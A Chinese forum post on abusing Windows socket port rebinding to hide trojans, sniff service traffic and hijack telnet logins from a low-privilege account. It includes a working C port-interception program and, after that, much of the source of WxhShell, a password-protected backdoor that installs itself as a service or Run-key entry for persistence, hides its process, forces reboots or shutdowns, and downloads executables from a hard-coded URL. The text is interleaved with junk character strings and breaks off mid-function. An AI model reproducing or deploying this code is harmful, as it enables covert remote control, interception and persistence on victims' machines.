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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tM$0 >E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); an=+6lIl  
lDJd#U'V  
  saddr.sin_family = AF_INET; a^XTW7]r  
;Co[y=Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wEfz2Eq  
C*s0r;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rF'^w56  
R'9@A\7#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IN|i)?r h  
,-7/]h,l  
  这意味着什么?意味着可以进行如下的攻击: 9<A\npD  
{|5$1v   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?]\W8)  
< k+fKl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2rj/wakd  
R )d99j^"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E7yf[/it  
A:.IBctsd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YoF\ MT]W  
1>@]@ST[:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 38U5^`  
2u~c/JryN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xrj(,|  
=tf@4_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [)H,zpl  
Vgqvvq<S  
  #include [^U;  
  #include pKxX{i1l  
  #include y/@;c)1b9  
  #include    sw$R2K{y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !k:zLjtp  
  int main() @vdc)vN[ /  
  { r%TLv  
  WORD wVersionRequested; b 5F4+  
  DWORD ret; 5xMA~I0c  
  WSADATA wsaData; V<HOSB7  
  BOOL val; AU\xNF3  
  SOCKADDR_IN saddr; t*Vao  
  SOCKADDR_IN scaddr; Th~3mf #  
  int err; -Ap2NpZ"t  
  SOCKET s; ^fE\S5P  
  SOCKET sc; @jE d%W  
  int caddsize; } T/}0W]0  
  HANDLE mt; (RDa,&  
  DWORD tid;   rysP)e  
  wVersionRequested = MAKEWORD( 2, 2 ); k+WO &g*|  
  err = WSAStartup( wVersionRequested, &wsaData ); uv|eVT3jNs  
  if ( err != 0 ) { "$~}'`(]  
  printf("error!WSAStartup failed!\n"); W( &Go'9e"  
  return -1; ^I(oy.6?=p  
  } 3yHb!}F  
  saddr.sin_family = AF_INET; ,#E3,bu6_4  
   n&0mz1rw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T .Pklty  
L9{mYA]q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `q f\3JT\  
  saddr.sin_port = htons(23); nc3ltT,R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -uv 9(r\P  
  { Sl. KLc@@  
  printf("error!socket failed!\n"); Vq3]7l  
  return -1; Gg=aK~q6  
  } KFTf~!|  
  val = TRUE; _[}G(<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %w'/n>]j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xta}4:d-Y  
  { X+dR<GN+YX  
  printf("error!setsockopt failed!\n"); ;g: UE  
  return -1; l~]hGLviJE  
  } <[Tq7cO0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P9 {}&z%:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vqa5RVnI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U{T[*s  
>W`S(a Mn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6CcB-@n4  
  { '[>\N4WD  
  ret=GetLastError(); 0kU3my]  
  printf("error!bind failed!\n"); o,S!RG&  
  return -1; !dfS|BA]  
  } /*u#Ba<<  
  listen(s,2); J6)efX)j-p  
  while(1) C6K|:IK{  
  { b4Ricm  
  caddsize = sizeof(scaddr); 6 WA|'|}=  
  //接受连接请求 1.Haf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t{/:(Nu  
  if(sc!=INVALID_SOCKET) B;xZ% M]  
  { iEiu%T>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W<\kf4Y  
  if(mt==NULL) r+t ,J|V  
  { |rr$U  
  printf("Thread Creat Failed!\n"); snXB`U C  
  break; 5z1\#" B[  
  } A#v|@sul  
  } q%OcLZ<,  
  CloseHandle(mt); - *:p.(c  
  } \ V[;t-  
  closesocket(s); |RR"'o_E  
  WSACleanup(); '8s>rH5[V  
  return 0; N7e`6d!  
  }   F;IP3tD  
  DWORD WINAPI ClientThread(LPVOID lpParam) =LlLE<X"%x  
  { J?._/RL8-  
  SOCKET ss = (SOCKET)lpParam; qq OxTG]  
  SOCKET sc; fA"<MslKLK  
  unsigned char buf[4096]; -h>Z,-DE6  
  SOCKADDR_IN saddr; r0)JUc}Fyq  
  long num; ! G*&4V3Mg  
  DWORD val; 1S+;ZMk  
  DWORD ret; >F/XZ C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xU@1!%l@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "/Y<G  
  saddr.sin_family = AF_INET; "Z;~Y=hC13  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z'7#"D  
  saddr.sin_port = htons(23); <KKDu$W|T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |:./hdcad  
  { IZO@V1-m  
  printf("error!socket failed!\n"); D,c!#(v cK  
  return -1; JT4wb]kdV  
  } JDkCUN5  
  val = 100; :~vxZ*a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "Owct(9  
  { rVUUH!  
  ret = GetLastError(); 0yn[L3x7  
  return -1; n%F-cw  
  } py]KTRzy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lwVk(l Z  
  { W0Ktw6  
  ret = GetLastError(); 9Hu d|n  
  return -1; ]53O}sH>  
  } F7\BF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Tak t_N  
  { Ks#A<! ;=  
  printf("error!socket connect failed!\n"); cI2Fpf`2Wj  
  closesocket(sc); ovo/!YJ2  
  closesocket(ss); CK2B  
  return -1; y>$1 UwQ  
  } XcOA)'Py  
  while(1) +fM&su=wl  
  { nt=x]wEC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vr 8:nP:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a>U6Ag<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,"B?_d6  
  num = recv(ss,buf,4096,0); (4~X}:  
  if(num>0) Mal<iNN  
  send(sc,buf,num,0); ba8 6 N  
  else if(num==0) ,I ZqLA  
  break; "l TZ|k^  
  num = recv(sc,buf,4096,0); 'qjX$]H  
  if(num>0) 'fIHUw|  
  send(ss,buf,num,0); rOW;yJ[  
  else if(num==0) Kv}k*A% S  
  break; %MN.O-Lc  
  } W@^J6sH  
  closesocket(ss); O16r!6=-n  
  closesocket(sc); flP>@i:e6  
  return 0 ; zDB" r  
  } dXl]Pe|v  
t)} \9^Uo  
|=O1Hn  
========================================================== R"Kz!NTB  
L x.jrF|&  
下边附上一个代码,,WXhSHELL cJ. 7Mt  
GzdRG^vN  
========================================================== fYB*6Xb,w  
.$Y? W<  
#include "stdafx.h" oE1M/*myS  
{SJsA)9:#  
#include <stdio.h> X]!D;7^  
#include <string.h> i E9\_MA  
#include <windows.h> m<{"}4'  
#include <winsock2.h> KnJx{8@z  
#include <winsvc.h> O=aw^|oj]  
#include <urlmon.h> +i.u< T  
r!kLV)_  
#pragma comment (lib, "Ws2_32.lib") MWs~#ReZ  
#pragma comment (lib, "urlmon.lib") hk_g2g  
oSY7IIf%L  
#define MAX_USER   100 // 最大客户端连接数 F}'wH-qp  
#define BUF_SOCK   200 // sock buffer X'x3esw w  
#define KEY_BUFF   255 // 输入 buffer  D,Lp|V  
n?:2.S.8  
#define REBOOT     0   // 重启 MU1E_"Z)  
#define SHUTDOWN   1   // 关机 1[SA15h  
&cc9}V)M  
#define DEF_PORT   5000 // 监听端口 mw4JQ\  
-w]/7cH  
#define REG_LEN     16   // 注册表键长度 RDJ+QOVKg  
#define SVC_LEN     80   // NT服务名长度 oxfF`L"  
 <B )   
// 从dll定义API :3^dF}>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p x#suy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W pN.]x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1[-vD=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9 Kbw GmSU  
k][h9'  
// wxhshell配置信息 2Lfah?Tx~C  
struct WSCFG { E]1##6Ae  
  int ws_port;         // 监听端口 V&*D~Jq  
  char ws_passstr[REG_LEN]; // 口令 NEV p8)w  
  int ws_autoins;       // 安装标记, 1=yes 0=no s?c JV `  
  char ws_regname[REG_LEN]; // 注册表键名 5/?P|T   
  char ws_svcname[REG_LEN]; // 服务名 @ 7W?8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  qSTWb%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rslvsS:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jf_%<\ O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <bUXC@3W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  ?Vc0)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ETfF5i}  
<6jFKA<  
}; CZ(`|;BC*  
k!3 cq)  
// default Wxhshell configuration GoIQ>n  
struct WSCFG wscfg={DEF_PORT, O~PChUU*Y  
    "xuhuanlingzhe", 0Z HDBh  
    1, &94W-zh  
    "Wxhshell", ?3q@f\fZ  
    "Wxhshell", M'2r@NR8  
            "WxhShell Service", g)R1ObpZ  
    "Wrsky Windows CmdShell Service", o=_c2m   
    "Please Input Your Password: ", RlRs}yF  
  1, 3vW4<:Lgy  
  "http://www.wrsky.com/wxhshell.exe", :q (&$  
  "Wxhshell.exe" fF;h V  
    }; /t5p-  
]Blf9h7  
// 消息定义模块 F*` t"7Lm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &| !B!eOY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iZxt/}1X0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; exZLj0kvF  
char *msg_ws_ext="\n\rExit."; LZ<[ll#C  
char *msg_ws_end="\n\rQuit."; ~3CVxbB^<  
char *msg_ws_boot="\n\rReboot..."; IQnIaZ  
char *msg_ws_poff="\n\rShutdown..."; z9DcnAs  
char *msg_ws_down="\n\rSave to "; x2W#ROfg  
$1Z6\G O  
char *msg_ws_err="\n\rErr!"; ;:]\KJm}?  
char *msg_ws_ok="\n\rOK!"; ?S tsH  
H}ZQ?uK;  
char ExeFile[MAX_PATH]; |V|+lx'sc  
int nUser = 0; %3o`j<  
HANDLE handles[MAX_USER]; =&vFVIhWcf  
int OsIsNt; q \O Ou  
!SxG(*u  
SERVICE_STATUS       serviceStatus; 6 BAW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pC(sS0J  
;ME)Og  
// 函数声明 ~OypE4./1  
int Install(void); >jTp6tu,  
int Uninstall(void); h`Tz5% n  
int DownloadFile(char *sURL, SOCKET wsh); L/Vx~r`P  
int Boot(int flag); vH[Pb#f-  
void HideProc(void);  {mTytT  
int GetOsVer(void); 42+#<U7T  
int Wxhshell(SOCKET wsl); A.En+-[\  
void TalkWithClient(void *cs); QDTNx!WL  
int CmdShell(SOCKET sock); Kq)MTlP0g  
int StartFromService(void); I#G0, &Gv  
int StartWxhshell(LPSTR lpCmdLine); j0mM>X HB  
27A!\pn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NM#- Af*pg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nxo+?:**  
?LP9iY${  
// 数据结构和表定义 u:dx;*  
SERVICE_TABLE_ENTRY DispatchTable[] = d@ J a}`  
{ A''pS  
{wscfg.ws_svcname, NTServiceMain}, :/N+;- 18  
{NULL, NULL} /*rhtrS)  
}; QHlU|dR)Ry  
#hw>tA6  
// 自我安装 W?Ww2Lo%Y  
int Install(void) >:1P/U  
{ RU#F8O  
  char svExeFile[MAX_PATH]; 1/Zh^foG  
  HKEY key; ,wAz^cK|  
  strcpy(svExeFile,ExeFile); $}o b,i^W  
tTanW2C  
// 如果是win9x系统,修改注册表设为自启动 3tAU?sV!  
if(!OsIsNt) { bt/ =Kq#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y2|R.EU\m<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p $`92Be/  
  RegCloseKey(key); `T&jPA9eY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J n&7C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @)6jE!LC  
  RegCloseKey(key); z rfUQO  
  return 0; O7G"sT1Dv  
    } kcuzB+  
  } 7h9U{4r: M  
} 19UN*g3(  
else { u bW]-U=T  
xTz%nx  
// 如果是NT以上系统,安装为系统服务 W!L+(!&H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I]`-|Q E  
if (schSCManager!=0) gVR@&bi7  
{ mY7>(M{  
  SC_HANDLE schService = CreateService gm"#:< )  
  ( }6u2*(TmD  
  schSCManager, 8|^CK|m6*  
  wscfg.ws_svcname, (eWPis[  
  wscfg.ws_svcdisp, 23]Y<->Eu<  
  SERVICE_ALL_ACCESS, OF U/gaO~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {KL5GowH  
  SERVICE_AUTO_START, ,  X{>  
  SERVICE_ERROR_NORMAL, Zu*K-ep"  
  svExeFile, sW@krBxMv  
  NULL, 6<76H  
  NULL, T^.Cc--c  
  NULL, aM3gRp51cj  
  NULL, p9eRZVy/  
  NULL 3L5r*fa  
  ); U9hS<}<Ki  
  if (schService!=0) OQ&'Dti  
  { ` uCIXb  
  CloseServiceHandle(schService); 1fU,5+PH  
  CloseServiceHandle(schSCManager); @R|'X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eOT+'[3"  
  strcat(svExeFile,wscfg.ws_svcname); s%4M$ e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qQ]]~F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]; $] G-  
  RegCloseKey(key); 5*g]qJF  
  return 0; Q>< 0[EPj3  
    } <.K4JlbT  
  } 9LJZ-/Wq  
  CloseServiceHandle(schSCManager); YX*x&5]lq  
} 8+Llx  
} c3%@Wj:fo  
"/{RhY<  
return 1; NQHz<3S[  
} 8jlLUG:g  
yY).mxRN  
// 自我卸载 4'1m4Ugg  
int Uninstall(void) /b#l^x:j  
{ Ta=s:trP  
  HKEY key; @@G6p($  
/#NYi,<{X  
if(!OsIsNt) { Q n)d2-<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $tqJ/:I  
  RegDeleteValue(key,wscfg.ws_regname); T#@lDpO  
  RegCloseKey(key); y[};J vk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K>:]Bx#F7  
  RegDeleteValue(key,wscfg.ws_regname); k;W@LfP  
  RegCloseKey(key); OHr Y(I6  
  return 0; ZD/jX_!t  
  } +0wT!DZW\=  
} l\0w;:N3  
} n"Veem[_4g  
else { `mfq 2bVc  
/UcV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iSLGwTdLn  
if (schSCManager!=0) ,i9Byx#TN  
{ Ga>uFb}W~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K BE Ax3  
  if (schService!=0) y m,H@~  
  { iRo.RU8>  
  if(DeleteService(schService)!=0) { ;h=*!7:  
  CloseServiceHandle(schService); k*rZ*sSp  
  CloseServiceHandle(schSCManager); `>(W"^  
  return 0; )m3Uar  
  } Oc].@Jy  
  CloseServiceHandle(schService); Df =dt  
  } 3\O|ii  
  CloseServiceHandle(schSCManager); h Ov={:  
} PC$CYW5  
} !`JHH&  
-/C)l)V}  
return 1; T  VmH  
} ^[E' 1$D  
Ox!U8g8c  
// 从指定url下载文件 lH^^77"4Qo  
int DownloadFile(char *sURL, SOCKET wsh) %.v{N6  
{ DhLqhME53  
  HRESULT hr; sAn0bX  
char seps[]= "/"; w>fdQ!RdP  
char *token; .{KjEg 6  
char *file; `?g`bN`Vn  
char myURL[MAX_PATH]; bu7'oB~:V^  
char myFILE[MAX_PATH]; 2aZw[7s  
%_-zWVJ  
strcpy(myURL,sURL); 9h90huyKF  
  token=strtok(myURL,seps); #m{{a]zm^  
  while(token!=NULL) 8M*PML4r  
  { rPNb\Ri  
    file=token; 63|+2-E2Q  
  token=strtok(NULL,seps); BcjP+$k4_  
  } ^mWybPqx  
8b.u'r174  
GetCurrentDirectory(MAX_PATH,myFILE); W W2Ob*  
strcat(myFILE, "\\"); <:FP4e "(  
strcat(myFILE, file); u=F+(NE"  
  send(wsh,myFILE,strlen(myFILE),0); \6?A!w~6  
send(wsh,"...",3,0); #o/ H~Iv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Z/GK2[HL  
  if(hr==S_OK) hRI"y":zD  
return 0; N/$`:8"  
else _-!sBK+F  
return 1; nMfFH[I4  
Ma*y=d;,1  
} z{"2S="  
lU^;Z 6f  
// 系统电源模块 {CG_P,FO  
int Boot(int flag) 3nZ9m  
{ @RFs/'  
  HANDLE hToken; \I-#1M  
  TOKEN_PRIVILEGES tkp; TC~Q G$NW  
ne61}F"E  
  if(OsIsNt) { -! ;l~#K=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G&xo1K]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L9Z;:``p  
    tkp.PrivilegeCount = 1; RgorkZlVM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l\AMl \  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _I`,Br:N  
if(flag==REBOOT) { h eaRX4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U-k+9f 0  
  return 0; UX3BeUi.)  
} ;@,Q&B2eM  
else { 07Gv*.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w;}@'GgL  
  return 0; `~eX55W  
} b `2|I {  
  } ;4M><OS!  
  else { a07@C  
if(flag==REBOOT) { tkQH\5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =~Ynz7 /x  
  return 0; O1 .w,U  
} <^b7cOFQ  
else { G2LK]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <H1 `  
  return 0; n,eJ$2!J  
} '\~$dtI$  
} Qu5UVjbE,  
-LDCBc"  
return 1; ,uw132<b  
} ONNpiK-  
,:~0F^z  
// win9x进程隐藏模块 6) oLus  
void HideProc(void) ; Sd\VR  
{ A7! g  
72sD0)?A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6C>_a*w  
  if ( hKernel != NULL ) }pk#!N  
  { yc2/~a_ Gx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RsU3Gi_Zdz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {7cX#1  
    FreeLibrary(hKernel); )&era ` e[  
  } Uie?9&3  
O20M[_S  
return; {7!UQrm<  
} T5Q{{@Q  
tt%MoQ)   
// 获取操作系统版本 Y+4o B  
int GetOsVer(void) AC O)Dt(Y  
{ GV)<Q^9  
  OSVERSIONINFO winfo; A^ _a3$,0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OA:%lC!  
  GetVersionEx(&winfo); {T"0DSV   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h2ZkCML  
  return 1; |/g W_;(  
  else -~eJn'W  
  return 0; =. y*_Ja  
} 7NC=*A~  
WwC 5!kZ  
// 客户端句柄模块 2([2Pb3<"  
int Wxhshell(SOCKET wsl) &U+ _ -Ph  
{ \BWyk A>  
  SOCKET wsh; j1SMeDDM ~  
  struct sockaddr_in client; k5kdCC0FCk  
  DWORD myID; -(`OcGM'L  
L=2y57&Y  
  while(nUser<MAX_USER) QDpEb=|S  
{ iv phlw  
  int nSize=sizeof(client); n~g)I&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]zO/A4  
  if(wsh==INVALID_SOCKET) return 1; yNm:[bOER  
Z5c~^jL$-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /h v4x9  
if(handles[nUser]==0) k3+e;[My+  
  closesocket(wsh); >7!6nF3x,  
else )s1Ib4C  
  nUser++; K:' q>D@  
  } }M1sksk5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZEYgK)^  
|F.)zC5{  
  return 0; 7?B.0>$3>V  
} o!:8nXw  
b 1&i#I?{  
// 关闭 socket K^_i%~  
void CloseIt(SOCKET wsh) 9]t[J_YM  
{ -XRn~=5   
closesocket(wsh); 3nY1[,  
nUser--; tbnH,*  
ExitThread(0); ~gz^Cdh  
} fN"( mW>!  
;q0uE:^ S  
// 客户端请求句柄 {lth+{&L#  
void TalkWithClient(void *cs) `mye}L2I  
{ CG'.:` t  
lpH=2l$>?  
  SOCKET wsh=(SOCKET)cs; Ro2d,'   
  char pwd[SVC_LEN]; O D Ur  
  char cmd[KEY_BUFF]; 7iJ&6=/  
char chr[1]; j@Yi`a(sdm  
int i,j; 0 ugT2%  
FWH}j0Gj|  
  while (nUser < MAX_USER) { IV lf=k  
) 'j:  
if(wscfg.ws_passstr) { [~:-&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SWp1|.=Sm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zqDR7+]  
  //ZeroMemory(pwd,KEY_BUFF); do uc('@  
      i=0; XC7%vDIt  
  while(i<SVC_LEN) { RzhWD^bB  
@"T"7c?Cv  
  // 设置超时 i(? ,6)9  
  fd_set FdRead; {cpEaOyOM  
  struct timeval TimeOut; 2MA]jT  
  FD_ZERO(&FdRead); 9w9jpe#  
  FD_SET(wsh,&FdRead); )otb>w5  
  TimeOut.tv_sec=8; DO7W}WU  
  TimeOut.tv_usec=0; ~OePp a\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); azjEq$<M  
y2O4I'/5<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Qgde6  
  pwd=chr[0]; l{w#H|]  
  if(chr[0]==0xd || chr[0]==0xa) { smG>sEp2  
  pwd=0; _2btfY1U  
  break; LQnkcV  
  } 10#oG{ 9  
  i++; VL' fP2  
    } R:p62c;Tv0  
'03->7V  
  // 如果是非法用户,关闭 socket %p&k5:4<"#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Av0y?oGH  
} ~j#~ \Ir  
V|)>{Xdn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x\2?ym@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $8l({:*q0  
Wl h~)   
while(1) { B*htN  
R(j1n,c]  
  ZeroMemory(cmd,KEY_BUFF); D@EO=08<b  
,Ma.V\T[  
      // 自动支持客户端 telnet标准   Y32O-I!9u  
  j=0; 4/ X/>Y1  
  while(j<KEY_BUFF) { ^$%Z! uz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Qm[[pnj  
  cmd[j]=chr[0]; uS&| "*pR  
  if(chr[0]==0xa || chr[0]==0xd) { 5>6PH+Oq  
  cmd[j]=0; Iqs+r?  
  break; mVtXcP4b  
  } e&eW|E  
  j++; ;M]C1!D9#  
    } yGg,$WM  
E&yD8=vw  
  // 下载文件 crO@?m1  
  if(strstr(cmd,"http://")) { CukC6u b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _WX#a|4h{  
  if(DownloadFile(cmd,wsh)) 569}Xbc/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $4jell  
  else +7Kyyu)y@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( *G\g=D  
  } M.h`&8  
  else { 6)pH |d.FR  
w@2Vts  
    switch(cmd[0]) { reo{*) %  
  (I@bkMp  
  // 帮助 c62=*] ,  
  case '?': { HaA1z}?n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )hwV`2>l  
    break; 7j5f ;O^+  
  } s=?aox7  
  // 安装 \b[9ebME  
  case 'i': { )a}"^1  
    if(Install()) \U%#nU{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %iJ%{{f`  
    else (2?G:+C 7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W:i?t8y\y  
    break; 3p?KU-  
    } T+LJ* I4  
  // 卸载 7z_;t9Y  
  case 'r': { R`F,aIJ]  
    if(Uninstall()) `k\grr.J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  TIy&&_p  
    else i` A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M(|   
    break; S{',QO*D6  
    } G0n'KB  
  // 显示 wxhshell 所在路径 >#+IaKL7  
  case 'p': { =Cqv=   
    char svExeFile[MAX_PATH]; DN4#H`  
    strcpy(svExeFile,"\n\r"); %}2@rLP  
      strcat(svExeFile,ExeFile); 4^6.~6a  
        send(wsh,svExeFile,strlen(svExeFile),0); 7dihVvL $  
    break; QbhW!9(,  
    } H* !EP  
  // 重启 %/kyT%1  
  case 'b': { G;gJNK"e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Hr$wa~  
    if(Boot(REBOOT)) 6VD1cb\lF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4t4olkK3Oa  
    else { "S~_[/q  
    closesocket(wsh); (_* wt]"'  
    ExitThread(0); A`O<6   
    } +.[\g|G  
    break; _9:@Vl]Q@  
    } xChI ,~i  
  // 关机 lA>\Ko  
  case 'd': { j:5%ppIY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,1Qd\8N9  
